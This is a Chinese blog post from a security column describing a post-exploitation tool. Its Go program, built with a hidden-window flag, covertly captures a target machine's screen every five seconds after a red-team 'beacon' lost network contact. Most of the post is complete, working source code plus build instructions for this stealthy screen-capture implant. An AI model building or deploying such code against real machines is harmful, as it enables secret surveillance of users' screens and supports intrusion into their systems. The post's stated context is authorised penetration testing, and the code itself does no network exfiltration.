前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >工具开发-go实现屏幕监控截图

工具开发-go实现屏幕监控截图

作者头像
hyyrent
发布2024-05-17 09:43:04
820
发布2024-05-17 09:43:04
举报
文章被收录于专栏:安全学习记录安全学习记录

开发背景

今天好兄弟打项目时候碰到这么一个情况,目标机器访问内网应用需要连接VPN,会切断外网连接,导致beacon无法及时执行回显命令

image-20240516174845711
image-20240516174845711

为了证明能够突破隔离,需要目标机器访问内网应用的截图,于是简单写了下,当作记录

代码实现

go build -trimpath -ldflags="-s -w -H windowsgui" main.go

为了避免后续beacon掉线导致进程一直执行,需要设置生成次数限制

代码语言:javascript
复制
package main

import (
	"fmt"
	"image/png"
	"os"
	"path/filepath"
	"time"

	"github.com/vova616/screenshot"
)

func main() {
	//路径
	savePath := "C:\\Users\\Public\\test"
	screenshotFolder := filepath.Join(savePath, "screenshot_%s.png")

	if _, err := os.Stat(savePath); os.IsNotExist(err) {
		err := os.MkdirAll(savePath, 0755)
		if err != nil {
			panic(err)
		}
	}

	// 次数限制
	limit := 2000
	var count int

	for count < limit {
		img, err := screenshot.CaptureScreen()
		if err != nil {
			panic(err)
		}

		fileName := fmt.Sprintf(screenshotFolder, time.Now().Format("20060102_150405"))

		f, err := os.Create(fileName)
		if err != nil {
			panic(err)
		}
		defer f.Close()

		err = png.Encode(f, img)
		if err != nil {
			panic(err)
		}

		count++

		// 每隔5秒执行一次截图
		time.Sleep(5 * time.Second)
	}

	fmt.Println("已达到截图次数限制")
}

实现效果

运行后会在 C:\\Users\\Public\\test 目录下,按照设置的间隔时间生成截图

image-20240516174510462
image-20240516174510462
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2024-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 开发背景
  • 代码实现
  • 实现效果
相关产品与服务
VPN 连接
VPN 连接(VPN Connections)是一种基于网络隧道技术,实现本地数据中心与腾讯云上资源连通的传输服务,它能帮您在 Internet 上快速构建一条安全、可靠的加密通道。VPN 连接具有配置简单,云端配置实时生效、可靠性高等特点,其网关可用性达到 99.95%,保证稳定、持续的业务连接,帮您轻松实现异地容灾、混合云部署等复杂业务场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档